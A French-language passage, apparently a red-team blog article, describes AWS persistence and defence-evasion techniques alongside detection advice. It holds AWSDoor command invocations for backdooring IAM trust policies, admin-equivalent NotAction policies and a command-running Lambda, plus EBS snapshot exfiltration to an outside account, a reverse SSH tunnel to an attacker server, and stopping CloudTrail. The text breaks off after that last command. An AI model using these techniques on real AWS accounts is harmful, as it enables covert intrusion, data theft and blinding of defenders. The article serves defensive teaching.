Au cours de la dernière décennie, les infrastructures cloud telles qu’Amazon Web Services (AWS) ont été de plus en plus utilisées pour héberger des infrastructures critiques, gérer des données sensibles et garantir une évolutivité globale. La transition vers des architectures hybrides et cloud-native a profondément modifié les méthodes de déploiement, de sécurisation et de surveillance des infrastructures.
Cependant, à mesure que l’adoption du cloud s’accélère, ses fonctionnalités et sa complexité introduisent de nouveaux défis liés à la sécurisation de ces environnements. Bien que les fournisseurs de services cloud proposent plusieurs mécanismes de sécurité, tels que le contrôle d’accès discrétionnaire et des systèmes de journalisation, de nombreuses organisations peinent encore à mettre en œuvre des stratégies de sécurité efficaces, en raison de la nouveauté de ces environnements. Parmi les erreurs de configuration les plus courantes figurent les mauvaises configurations des rôles IAM, les politiques trop permissives, les identifiants exposés et le manque de visibilité sur les activités cloud-native, qui sont donc autant de failles que les attaquants peuvent exploiter.
Lorsqu’un attaquant obtient un accès initial à un environnement cloud, que ce soit par opportunisme ou par exploitation active, l’action la plus courante après la compromission initiale et l’escalade de privilèges consiste à mettre en place des mécanismes de persistance d’accès dans l’environnement.
Contrairement aux réseaux traditionnels sur site, les environnements cloud offrent une multitude de services et failles de configuration qui peuvent être exploitées pour maintenir un accès à long terme, même après le début des actions correctives.
Dans cet article, nous explorerons le concept de persistance d’accès dans AWS, en analysant les techniques que les adversaires peuvent utiliser pour dissimuler leur présence au sein d’un environnement cloud.
Tout au long de cette article, les fonctionnalités d’un outil dédié, conçu pour simplifier et automatiser le déploiement de techniques de persistance dans les environnements AWS, seront présentées.
Persistance sur AWS
Persistance IAM
Dans le contexte d’AWS, l’Identity and Access Management (IAM) constitue la pierre angulaire de la sécurité. Elle régit les actions que chaque entité peut effectuer dans l’environnement en définissant des rôles, des utilisateurs, des groupes et les politiques associées qui déterminent l’accès aux ressources : si une action ne vous a pas été explicitement autorisée, vous ne pourrez pas l’exécuter.
Globalement, l’IAM fonctionne en associant des identités (comme les utilisateurs ou rôles IAM) à des politiques, qui sont des documents JSON décrivant les privilèges d’un objet IAM sur une ressource.
Ces politiques sont extrêmement granulaires et prennent en charge des conditions telles que les restrictions d’adresse IP, l’authentification multifacteur (MFA) ou l’accès limité durant certaines plages horaires. Les configurations IAM ne se limitent pas à des contrôles d’accès : elles font partie intégrante de l’infrastructure elle-même.
L’IAM est devenu un vecteur puissant de persistance d’accès et, contrairement à un environnement sur site, un attaquant disposant de privilèges suffisants n’a pas besoin de déposer des binaires ou d’exécuter des logiciels malveillants pour maintenir son accès à l’environnement. Il peut simplement modifier les politiques IAM, créer de nouveaux utilisateurs, attribuer des permissions malveillantes à des rôles existants ou compromettre des identités de confiance.
Ce qui rend la persistance basée sur l’IAM particulièrement dangereuse, c’est sa discrétion et sa durabilité. En effet, les modifications apportées à IAM se fondent souvent dans les activités administratives légitimes, ce qui les rend difficiles à détecter. Si l’environnement n’est pas correctement maintenu ou régulièrement audité, identifier une politique malveillante revient à chercher une aiguille dans une botte de foin.
Dans cette section, nous explorerons les techniques courantes et moins connues que les attaquants peuvent utiliser pour établir une persistance d’accès en modifiant les configurations IAM. Nous analyserons des exemples concrets et mettrons en évidence les indicateurs que les équipes de défense doivent surveiller afin de détecter et de répondre à ces tactiques souvent négligées.
AccessKey
Attaque
La technique de persistance la plus élémentaire consiste à ajouter une AccessKey à un utilisateur.
Sur AWS, les utilisateurs peuvent se connecter via l’interface en ligne de commande (CLI) en utilisant une AccessKey. La méthode la plus simple pour établir une persistance consiste à déployer une AccessKey sur un utilisateur disposant de privilèges élevés.
Une fois la clé créée pour cet utilisateur, l’attaquant peut accéder à AWS via l’interface en ligne de commande avec les privilèges de l’utilisateur.
Cependant, cette technique présente certaines limitations :
- Un utilisateur ne peut avoir que deux AccessKey enregistrées simultanément.
- Certaines SCP (Service Control Policies), des politiques globales appliquées par l’organisation sur un sous-compte, peuvent empêcher l’utilisation des AccessKey ou imposer l’authentification multifacteur (MFA).
Concernant la limitation du nombre de clés d’accès enregistrées sur un utilisateur, il est possible de :
- Lister les AccessKey enregistrées sur un utilisateur
- Obtenir la dernière date d’utilisation de l’AccessKey : en général, si un utilisateur possède plus d’une AccessKey, la seconde a été perdue, ou n’est plus utilisée et peut être désactivée et supprimée avec un risque acceptable
- Supprimer l’AccessKey inutilisée
Pour lister et supprimer une AccessKey, les privilèges suivants sont nécessaires :
- iam:ListAccessKeys : permet de récupérer les détails des AccessKey
- iam:UpdateAccessKey : permet de désactiver la clé avant sa suppression
- iam:DeleteAccessKey : permet de supprimer effectivement l’AccessKey
Il est possible d’enregistrer un dispositif MFA sur un utilisateur spécifique sans son consentement, ce qui permet de contourner la restriction. Cependant, si la connexion via AccessKey est refusée, cette technique ne peut pas être utilisée.
Pour ajouter une AccessKey à un utilisateur, le privilège suivant est requis :
- iam:CreateAccessKey
Pour ajouter un dispositif MFA à un utilisateur, les privilèges suivants sont requis :
- aws:CreateVirtualMfaDevice
- aws:EnableMfaDevice
AWSDoor
Cette technique est implémentée dans AWSDoor :
python .\main.py -m AccessKey -u adele.vance
[+] Access key created for user: adele.vance
[+] Access key ID: AKIAWMFUPIEBGOX73NJY
[+] Access key Secret: p4g[…]i7ei
La clé est ensuite ajoutée à l’utilisateur :
Défense
Bien que l’ajout d’une AccessKey à un utilisateur soit le moyen le plus simple d’obtenir une persistance dans un environnement AWS, il s’agit également de l’une des méthodes les moins discrètes.
En effet, si l’équipe de détection identifie la compromission de l’environnement, elle peut facilement retrouver l’AccessKey déployée par l’utilisateur compromis via les journaux AWS CloudTrail :
De plus, certaines solutions de sécurité, telles que les systèmes de gestion de posture de sécurité cloud (Cloud Security Posture Management), peuvent détecter ce type de persistance si les utilisateurs n’emploient généralement pas d’AccessKey.
Enfin, à titre de recommandation, il est généralement préférable d’éviter l’utilisation d’utilisateurs IAM avec AccessKey et de privilégier l’utilisation d’AWS SSO : https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html.
Une fois l’authentification SSO configurée, le nombre d’utilisateurs « humains » tombe à 0, seuls les utilisateurs de service restant. Il devient alors plus facile de repérer les AccessKey malveillantes et de surveiller de près celles existantes (par exemple, les utilisateurs de service CICD).
Trust Policy
Dans AWS, les rôles sont des objets IAM utilisés pour déléguer l’accès entre les services, les comptes ou les utilisateurs. Contrairement aux utilisateurs IAM, les rôles ne possèdent pas d’identifiants à long terme. Ils sont plutôt assumés (utilisés) via l’API sts:AssumeRole, qui renvoie des identifiants temporaires accordant les autorisations définies dans les politiques d’autorisations du rôle.
Pour contrôler qui peut assumer un rôle, AWS utilise un document spécifique appelé Trust Policy (Politique de confiance). Une Trust Policy spécifie les identités de principaux de confiance (utilisateurs, rôles, comptes, services ou utilisateurs fédérés) autorisées à assumer le rôle. Si un principal n’est pas listé dans la politique de confiance d’un rôle, il ne peut tout simplement pas l’assumer, quelles que soient les autorisations qu’il détient ailleurs.
Exemple de cas d’utilisation pour AssumeRole et la Trust Policy
Imaginez une entreprise disposant de plusieurs comptes AWS :
- un pour le développement
- un pour la préproduction (staging)
- un pour la production
Plutôt que de créer et gérer des utilisateurs IAM distincts dans chaque environnement, l’organisation définit un groupe centralisé d’administrateurs dans un compte de gestion.
Chaque compte cible définit un rôle avec des privilèges élevés (par exemple, CrossAdminAccess) et configure une TrustPolicy n’autorisant que les identités IAM du compte de gestion à l’assumer. La TrustPolicy, déployée sur chaque compte cible, ressemblera à ceci :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"
},
"Action": "sts:AssumeRole",
}
]
}
Cette approche permet de maintenir une séparation claire entre les environnements tout en conservant un contrôle centralisé. Les administrateurs « changent de rôle » depuis le compte de gestion vers les autres comptes uniquement lorsque cela est nécessaire, sans dupliquer les identifiants. Après l’action AssumeRole, l’administrateur du compte de gestion obtient des privilèges d’administration temporaires sur le compte ciblé.
Attaque
Comme indiqué dans la TrustPolicy précédente, la capacité à assumer un rôle spécifique dans un compte est gérée par la politique qui autorise explicitement un compte externe à assumer un rôle dans le compte cible.
Cependant, rien n’impose à la TrustPolicy de n’autoriser que des comptes connus et de confiance. Un attaquant disposant des privilèges nécessaires pour modifier une TrustPolicy peut y introduire une porte dérobée en autorisant son propre compte AWS à assumer le rôle dans le compte compromis :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::${attackerAccountId}:role/fakeRole"
]
},
"Action": "sts:AssumeRole"
}
]
}
Une fois cette politique appliquée, il est possible d’assumer directement le rôle compromis depuis l’extérieur.
AWSDoor
Cette technique est implémentée dans AWSDoor :
python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames
[-] Initial trust policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::438465151234:root"
},
"Action": "sts:AssumeRole"
}
]
}
[+] New trust policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::438465151234:user/ADM01",
"arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"
]
},
"Action": "sts:AssumeRole"
}
]
}
[+] Do you want to apply this change? (yes/no): yes
[+] Trust policy for FAKEROLE updated
L’outil permet de :
- Cibler une instruction spécifique avec l’argument -s : par défaut, l’outil injectera la politique de confiance dans la première instruction Allow qu’il trouve. S’il y a plusieurs instructions dans la politique, il est possible d’utiliser le paramètre -s pour cibler une instruction précise.
- Créer une nouvelle instruction avec l’argument -c : avec cette option, il est possible de forcer la création d’une nouvelle instruction avec un nom spécifique (MALICIOUS dans l’exemple ci-dessous).
Défense
Ce type de persistance constitue un mécanisme de persistance puissant dans les environnements AWS. Cette technique ne nécessite pas de stocker des identifiants dans l’environnement victime, ce qui la rend très discrète et durable, d’autant plus que l’équipe de détection se concentre généralement uniquement sur les clés d’accès ou l’utilisation locale des rôles.
La détection de cette méthode de persistance exige une surveillance attentive des modifications apportées aux politiques de confiance. AWS CloudTrail enregistre des événements tels que UpdateAssumeRolePolicy, qui peuvent révéler lorsqu’une politique de confiance est modifiée.
De même, AWS Config peut être utilisé avec des règles personnalisées pour détecter les politiques de confiance (TrustPolicy) ciblant des comptes non gérés.
NotAllow
Attaque
Une politique de rôle IAM (IAM role policy) est un document JSON attaché à un rôle IAM qui définit quelles actions le rôle est autorisé (ou interdit) d’effectuer, sur quelles ressources et dans quelles conditions.
Par exemple, la politique suivante permet au rôle associé de lister tous les buckets S3 du compte :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:ListBucket",
"Resource": "*"
}
]
}
Dans la syntaxe des politiques, il est possible d’utiliser un opérateur de négation : au lieu de définir une liste blanche (whitelist) d’actions autorisées, il est possible de définir une liste noire (blacklist) d’actions.
En effet, en utilisant l’opérateur NotAction, AWS appliquera l’effet de l’instruction à toutes les actions, sauf celles explicitement listées.
Par exemple, la politique suivante :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"NotAction": "s3:ListBucket",
"NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
}
]
}
Cette politique permettra au rôle d’exécuter toute action sauf l’action ListBucket sur le bucket S3 cloudtrails-logs-01032004 : elle accorde donc au rôle associé des privilèges maximaux sur le compte.
Pour un défenseur, cette politique peut, à première vue, sembler inoffensive car elle cible une ressource S3 précise. En réalité, elle confère des privilèges équivalents à AdministratorAccess au rôle.
Un attaquant peut ensuite installer une porte dérobée (backdoor) sur ce rôle en utilisant la persistance via la TrustPolicy, comme expliqué précédemment, afin d’obtenir un accès complet et à distance au compte AWS compromis.
AWSDoor
Cette technique est implémentée dans AWSDoor :
python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY
[+] The following policy will be added :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"NotAction": [
"s3:ListBucket"
],
"NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
}
]
}
[+] Do you want to apply this change? (yes/no): yes
[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY
[+] Attaching the policy to FAKEROLE
[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE
Pour la stratégie, il existe deux possibilités :
- Politique attachée : c’est la méthode la plus courante pour ajouter une stratégie à un rôle. Tout d’abord, une stratégie est créée avec l’instruction NotAction, puis la stratégie est attachée au rôle. La stratégie apparaîtra alors dans le panneau IAM/Policies :
- Stratégie inline (-i) : c’est la manière la plus rapide d’ajouter une stratégie à un rôle. La stratégie est créée directement au niveau du rôle (d’où le terme inline). Bien qu’il soit plus simple de créer ce type de stratégie, cela est généralement considéré comme une mauvaise pratique de configuration, car la stratégie n’apparaîtra pas dans le panneau IAM/Policies, ce qui la rend plus difficile à retrouver lors d’un examen de configuration.
Par conséquent, certains outils de conformité spécifiques peuvent signaler la stratégie inline. Non pas parce qu’elle est malveillante, mais parce qu’elle n’est pas conforme aux bonnes pratiques de sécurité.
Défense
Du point de vue d’un défenseur, l’utilisation de NotAction combinée à l’effet Allow dans les stratégies IAM doit immédiatement susciter des soupçons, en particulier lorsqu’elle est associée à des champs NotResource.
Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à se défendre contre ce type d’escalade de privilèges :
- Surveiller les modifications des stratégies IAM via CloudTrail : toute création ou modification de stratégies IAM peut être suivie dans CloudTrail avec les événements suivants : CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion et SetDefaultPolicyVersion.
- Enquêter sur les documents de stratégie contenant le mot-clé NotAction : cela peut être automatisé en créant un scénario associé dans CloudWatch (NotAction dans requestParameters.policyDocument).
- Appliquer un contrôle de conformité avec AWS Config : une règle de configuration personnalisée peut être définie pour signaler toute stratégie incluant NotAction ou NotResource avec un effet Allow.
Persistance basée sur les ressources
Dans AWS, il est courant d’attacher des rôles IAM à des ressources comme des fonctions Lambda, des instances EC2 ou des tâches ECS. Cela permet à ces services d’accéder de manière sécurisée à d’autres ressources AWS, en fonction des autorisations définies dans le rôle. Par exemple, une instance EC2 peut utiliser un rôle pour lire des secrets dans Secrets Manager ou envoyer des journaux vers CloudWatch.
Du point de vue d’un attaquant, cette configuration peut être utile pour maintenir une persistance. S’il parvient à compromettre une ressource disposant d’un rôle hautement privilégié, tel qu’un rôle avec AdministratorAccess, il peut utiliser ce rôle pour interagir avec AWS de la même manière que le ferait la ressource.
Cela signifie que l’attaquant n’a pas besoin de créer de nouvelles informations d’identification ni de modifier directement IAM. Tant qu’il conserve l’accès à la ressource, il peut continuer à utiliser les autorisations du rôle, ce qui rend cette méthode à la fois efficace et plus difficile à détecter.
Lambda
Les fonctions AWS Lambda sont devenues un choix populaire pour exécuter du code dans le cloud sans avoir à gérer de serveurs. Elles permettent aux développeurs et aux organisations d’automatiser des tâches, de répondre à des événements et de créer des applications évolutives qui ne s’exécutent qu’en cas de besoin. Par exemple, Lambda peut traiter des fichiers téléchargés dans S3, gérer des requêtes API ou réagir automatiquement à des modifications dans une base de données.
Par exemple, pour gérer les administrateurs de comptes, il est possible de créer une fonction Lambda qui ajoute des privilèges à un utilisateur lorsqu’il est ajouté à une base de données DynamoDB : la modification de DynamoDB déclenche le code Lambda, qui modifie alors les privilèges de l’utilisateur en fonction des changements dans la base de données.
Par conséquent, il n’est pas habituel d’associer une identité IAM à une fonction Lambda.
Rôle sur-privilégié
Un moyen d’obtenir une persistance sur un compte AWS consiste soit à associer une identité IAM sur-privilégiée à une fonction Lambda existante, soit à modifier le code d’une fonction Lambda déjà sur-privilégiée.
Par exemple, un attaquant peut :
- Créer une fonction Lambda
- Associer un rôle IAM privilégié (en utilisant par exemple l’astuce NotAction)
- Ajouter un code Python permettant soit d’exécuter du code arbitraire, soit d’extraire les identifiants temporaires de la Lambda
- Exposer le répertoire de la Lambda sur Internet via un API Gateway ou une Lambda Function
La figure suivante résume le déploiement de la persistance :
Lambda layers
La technique de persistance Lambda décrite ci-dessus est efficace, mais elle présente un inconvénient majeur : le code malveillant est facile à repérer. Si quelqu’un modifie la logique métier principale de la fonction ou examine le code source lors d’une enquête, la porte dérobée sera probablement découverte et supprimée.
Une approche plus subtile consiste à dissimuler la charge utile malveillante dans une Lambda layer plutôt que dans le code même de la fonction.
Une Lambda layer est un moyen de distribuer des dépendances partagées telles que des bibliothèques ou des environnements d’exécution personnalisés. Au lieu d’intégrer ces éléments directement dans la fonction, on peut les téléverser séparément et les attacher à une ou plusieurs fonctions Lambda. Cela allège le package de déploiement et facilite la réutilisation du code entre différents projets. Les layers sont couramment utilisées pour inclure des outils comme requests ou les SDK AWS (boto3) dans plusieurs fonctions.
Du point de vue d’AWS, la layer est attachée à la fonction, mais son contenu n’est pas affiché directement dans la console.
Comme illustré dans la capture d’écran ci-dessous, AWS se contente d’indiquer la présence de la layer ; pour l’inspecter, un utilisateur doit se rendre manuellement dans le panneau Lambda Layers et la télécharger au format ZIP.
L’utilisation d’un layer est visible (mais peut facilement passer inaperçue), mais pour télécharger le code, l’utilisateur doit se rendre dans un panneau spécifique Lambda Layer et le télécharger (sans l’afficher) au format ZIP :
Ces étapes supplémentaires peuvent rendre les défenseurs moins enclins à examiner le contenu de la layer lors de la phase initiale de triage.
Un attaquant peut exploiter cela en créant une couche contenant une version compromise d’une bibliothèque standard, telle que requests. En surchargeant une fonction interne avec un comportement malveillant, l’attaquant obtient une exécution de code à distance chaque fois que la fonction est utilisée.
Par exemple, après avoir téléchargé le package requests avec pip :
pip install -t python requests
L’attaquant modifie la fonction get() afin d’exécuter des commandes arbitraires :
Ensuite, le package est compressé au format ZIP et déployé en tant que layer, qui est attachée à la fonction cible :
Enfin, le code source de la fonction Lambda est mis à jour pour utiliser la bibliothèque compromise, ce qui peut sembler inoffensif à première vue :
Ce qui ressemble à une requête HTTP légitime est désormais un déclencheur pour un comportement malveillant caché. À moins que le défenseur n’inspecte le contenu réel de la couche attachée, cette porte dérobée peut rester indétectée.
AWSDoor
Cette technique est implémentée dans AWSDoor :
python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l
[+] The following trust policy will be created :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
]
}
[+] Do you want to apply this change? (yes/no): yes
[+] Layer created
[+] Created lambda function lambda_test2
[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/
Quelques paramètres supplémentaires peuvent être utilisés :
- -l : utiliser une couche Lambda, sinon inclure le code malveillant directement dans la Lambda
- -g : utiliser une API Gateway, sinon utiliser une FunctionURL
L’API Gateway est une méthode plus propre pour exposer une Lambda sur Internet ; cependant, il est possible de repérer facilement qu’elle est accessible depuis Internet, car cela est affiché comme un déclencheur.
La charge utile déployée par défaut prend un code Python passé en paramètre GET cmd, l’exécute, puis renvoie les données stockées dans la variable result:
curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url`
>> {result: “Hello World”}
Défense
Du point de vue d’un défenseur, les Lambda layers sont souvent négligées lors des réponses à incident, en particulier lorsque seul le code de la fonction est examiné. Comme les layers ne sont pas affichées en ligne dans la console Lambda et doivent être téléchargées manuellement sous forme d’archives ZIP, un contenu malveillant peut facilement passer inaperçu. Cela fait des layers un emplacement attractif pour les attaquants souhaitant dissimuler des portes dérobées ou des dépendances compromises.
Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à identifier et à réagir à une utilisation suspecte des couches Lambda :
- Auditer les attachements de Lambda layers: l’événement UpdateFunctionConfiguration est enregistré par CloudTrail qu’un nouveau layer est attachée à une fonction Lambda. Il est alors possible de suivre les changements inhabituels ou les associations entre des équipes ou projets sans lien.
- Restreindre la mise à jour des layers au flux CICD : empêcher toute modification de couche en dehors de la pipeline CICD, en établissant une liste blanche des rôles autorisés à le faire. Concentrer les efforts de détection et de chasse aux menaces sur les usages abusifs ou les mises à jour de ce rôle.
- Vérifier les Lambda exposées directement sur Internet : exposer une Lambda sur Internet peut être un signe de déploiement de persistance. Toute modification inhabituelle de configuration impliquant l’exposition d’une telle ressource sur Internet doit être investiguée.
Bien que les layers soient une fonctionnalité puissante et utile, elles constituent un angle mort dans de nombreuses configurations de monitoring de la sécurité AWS.
EC2
Socks
AWS Systems Manager (SSM) offre un moyen puissant et flexible de gérer et d’interagir avec des instances EC2 sans nécessiter d’accès réseau direct tel que SSH ou RDP. Au cœur de son fonctionnement, SSM permet la gestion à distance en utilisant un agent installé sur l’instance, qui communique de manière sécurisée avec le service Systems Manager. Par ce canal, les administrateurs peuvent exécuter des commandes, lancer des scripts ou ouvrir des sessions shell interactives sur les instances, le tout sans les exposer à Internet public ni gérer de bastions d’accès.
L’un des principaux avantages de SSM est la réduction de la surface d’attaque grâce à la limitation des services exposés. Comme la communication est initiée depuis l’instance elle-même, qui se connecte aux points de terminaison du service SSM, cette approche fonctionne même dans un environnement réseau sécurisé où l’accès entrant est restreint.
D’un point de vue sécurité, bien que SSM réduise l’exposition, il introduit également de nouveaux risques. Par exemple, si un attaquant compromet une identité disposant des autorisations pour démarrer des sessions SSM ou envoyer des commandes, il peut obtenir une exécution de code à distance sur l’instance sans nécessiter de point d’appui réseau.
Un attaquant ayant accès au compte AWS peut exploiter les capacités de SSM pour compromettre une instance EC2 et l’utiliser comme pivot réseau. Une approche courante consiste à déployer un proxy SOCKS inversé via SSH. En utilisant SSM, l’attaquant peut exécuter des commandes sur l’instance EC2 pour y déployer une clé SSH, puis lancer une commande afin d’exposer le port SSH de l’EC2 vers son propre serveur :
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f
Ensuite, l’attaquant, depuis son serveur, peut ouvrir un proxy SOCKS via SSH à l’aide de la commande suivante :
ssh -D 4444 ssm-user@127.0.0.1:2222
Cela lui permet de faire transiter du trafic à travers l’instance EC2 compromise, en l’utilisant comme point d’appui à l’intérieur du réseau.
Exfiltration de snapshot
Bien qu’elle ne constitue pas un mécanisme de persistance, l’exfiltration de snapshot est une technique puissante d’exfiltration de données dans les environnements AWS. Elle exploite la possibilité de partager des snapshots Elastic Block Store (EBS) entre différents comptes AWS. Bien que cette fonctionnalité soit conçue pour la sauvegarde ou la collaboration, elle peut être détournée pour exfiltrer massivement des données.
Un attaquant disposant de permissions suffisantes dans un compte AWS compromis peut créer un snapshot d’un volume EBS, puis le partager avec un compte externe qu’il contrôle.
Depuis ce compte AWS externe, le snapshot peut être monté, copié et inspecté, donnant à l’attaquant un accès complet aux données du disque sous-jacent sans jamais rien télécharger directement depuis l’environnement cible.
Cette méthode est particulièrement dangereuse lorsqu’elle est appliquée à une infrastructure sensible. Par exemple, si un contrôleur de domaine est virtualisé dans AWS, un attaquant peut prendre un snapshot de son volume, le partager avec son propre compte AWS et en extraire des fichiers sensibles tels que ntds.dit.
Tout cela peut se produire sans qu’il soit nécessaire d’interagir avec l’instance via le réseau, en contournant ainsi tous les outils de sécurité déployés sur le réseau interne.
Il s’agit d’une technique d’exfiltration de données à faible bruit mais à fort impact, qui détourne des fonctionnalités natives d’AWS et passe inaperçue si des contrôles spécifiques ne sont pas en place.
AWSDoor
Ces deux techniques sont implémentées dans AWSDoor. Les commandes suivantes peuvent être utilisées pour exporter une instance EC2 spécifique :
python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720
[-] The following volumes will be snapshoted and shared with 503561426720:
- vol-09ce1bf602374a743
[+] Do you want to apply this change? (yes/no): yes
[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743
[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720
De la même manière, l’action SSH SOCKS peut être automatisée :
python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd
[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da
[-] Waiting 10 seconds for execution
[+] Status: Success
Détection
Pour la partie snapshot, CloudTrail enregistre plusieurs événements :
- CreateSnapshot : enregistré lorsqu’un snapshot est créé. Il s’agit d’une opération courante dans la plupart des environnements disposant de politiques de sauvegarde, donc pas intrinsèquement suspecte. Cependant, il est facile pour des attaquants de se fondre dans le bruit en imitant l’activité de sauvegarde standard.
- ModifySnapshotAttribute : enregistré lorsque le snapshot est partagé. Bien que la modification d’un attribut de snapshot ne soit pas inhabituelle, une simple analyse du contenu montre que le snapshot a été partagé avec un compte distant :
Il est donc possible de limiter ce type d’exploitation en surveillant l’événement ModifySnapshotAttribute et en s’assurant que la valeur de userId se situe dans la plage des comptes liés à l’organisation.
De même, une méthode relevant de la « sécurité par l’obscurité » consisterait à ajouter des balises spécifiques lorsque des snapshots sont effectués à des fins de sauvegarde, puis à déclencher une alerte lorsqu’un snapshot est créé sans la balise appropriée. La balise pourrait, par exemple, être un hachage de l’heure de création, dérivé d’un secret connu uniquement de l’outil de sauvegarde.
BackupTag=HMAC(creation_time, secret)
Pour l’exploitation en reverse SOCKS, cela dépend de la manière dont l’accès SSM est effectué :
- Depuis la console AWS (GUI) : un événement StartSession est enregistré dans CloudTrail lorsque l’attaquant démarre la connexion distante vers la machine. Le journal contient l’adresse IP de l’attaquant ainsi que l’identifiant EC2 ciblé.
- Depuis l’AWS CLI ou AWSDoor : l’événement StartSession n’est pas généré, mais c’est GetCommandInvocation qui est enregistré à la place.
Cependant, quelle que soit la technique utilisée, CloudTrail ne journalise pas la ligne de commande complète envoyée. Il reste donc pertinent et important d’ajouter une solution EDR directement sur les ressources.
Altération des défenses
L’altération des défenses désigne toute action délibérée entreprise par un attaquant pour affaiblir, désactiver ou contourner les capacités de surveillance et de détection d’un environnement cible. Dans AWS, cela implique généralement de manipuler les configurations de journalisation, de désactiver des services de sécurité ou de modifier les mécanismes d’alerte afin d’éviter la détection pendant ou après une attaque.
AWS fournit plusieurs services intégrés conçus pour surveiller l’activité, appliquer la conformité et alerter en cas de comportement suspect. Ces services incluen : CloudTrail pour la journalisation des appels API, CloudWatch Logs et CloudWatch Alarms pour la surveillance et l’alerte en temps réel, GuardDuty pour la détection des menaces, Security Hub pour la centralisation des constats de sécurité et Config pour le suivi de la configuration des ressources. Les environnements plus avancés peuvent également s’appuyer sur des SIEM tiers ou des plateformes CSPM intégrées à leurs comptes AWS.
La désactivation ou la modification de l’un de ces services peut réduire considérablement la visibilité dont disposent les défenseurs sur les activités malveillantes, faisant de l’altération des défenses une tactique essentielle dans de nombreuses attaques menées dans le cloud.
CloudTrail et CloudWatch
Introduction à la journalisation AWS
Dans les environnements AWS, CloudTrail et CloudWatch sont deux services essentiels de journalisation et de surveillance qui jouent des rôles complémentaires, mais avec des finalités très différentes. CloudTrail est conçu pour enregistrer toute l’activité API qui se produit dans un compte AWS. Il consigne chaque appel effectué via la console de gestion AWS, l’AWS CLI, les SDK ou autres services AWS. Ainsi, lorsqu’une personne crée une instance EC2, modifie un groupe de sécurité ou supprime une ressource, CloudTrail capture qui a effectué l’action, quand, où et quoi. Ces journaux sont indispensables pour l’audit, les enquêtes forensiques et le suivi des modifications apportées à l’infrastructure.
CloudWatch, quant à lui, se concentre sur la surveillance opérationnelle. Il collecte et stocke les journaux provenant des services et applications, suit des métriques comme l’utilisation CPU ou la consommation mémoire, et prend en charge les alarmes et tableaux de bord pour une visibilité en temps réel. Lorsqu’une application écrit des journaux ou que la surveillance des performances système est nécessaire, c’est CloudWatch qui est utilisé. Il peut également être configuré pour recevoir et stocker les journaux provenant de fonctions Lambda, d’instances EC2 ou d’applications personnalisées.
La journalisation réseau est également proposée par AWS via les services VPC Flow Logs ou VPC Mirroring. Bien qu’ils puissent être utilisés à des fins de sécurité, leur utilité principale est davantage orientée vers la surveillance opérationnelle. Cet article se concentrera sur le service CloudTrail.
CloudTrail est activé par défaut et conserve les événements pendant 90 jours. Ce service constitue une base de journalisation qui ne peut pas être restreinte ou désactivée. Cependant, des capacités de journalisation supplémentaires peuvent être activées en définissant des trails dans CloudTrail.
CloudTrail conserve les journaux et garantit leur intégrité pendant 90 jours, après quoi les journaux sont supprimés de l’Event History. Si une organisation souhaite assurer une durée de conservation plus longue ou mettre en place une surveillance en temps réel spécifique à partir de ces journaux, elle doit configurer un trail. Cette configuration duplique les journaux et les transfère vers un bucket S3, sur lequel peuvent être branchés des outils de sécurité supplémentaires.
En tant qu’administrateur Cloud, il est possible de créer un « Organization Trail » qui se réplique dans tous les comptes cibles de l’organisation. Une fois mis en place, il n’est pas possible pour un compte ciblé de supprimer ou de désactiver ce trail.
Arrêt de la journalisation
Attaque
S’il n’est pas facilement possible d’altérer les capacités de journalisation de CloudWatch, il est en revanche possible d’affecter celles de CloudTrail en désactivant simplement la fonction de journalisation.
Cette fonctionnalité permet d’interrompre l’enregistrement des événements par un trail sans pour autant le supprimer :
Bien que cette technique soit efficace pour altérer certaines capacités spécifiques de journalisation, elle présente plusieurs inconvénients majeurs :
- Effet limité : même si un trail spécifique est impacté, les Organization Trails ne peuvent pas être contournés de cette manière. De plus, l’Event History, avec sa période de rétention inaltérable de 90 jours, restera toujours disponible.
- Action bruyante : même si la commande d’arrêt n’est pas détectée, la plupart des solutions SIEM déclenchent des alertes lorsque le flux de journaux s’interrompt.
AWSDoor
Cette technique est implémentée dans AWSDoor:
python .\main.py --m CloudTrailStop -s
